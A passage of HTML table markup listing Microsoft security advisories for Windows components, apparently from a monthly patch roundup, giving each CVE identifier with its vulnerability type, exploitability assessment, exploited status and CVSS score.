href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444"><br>CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690">CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a 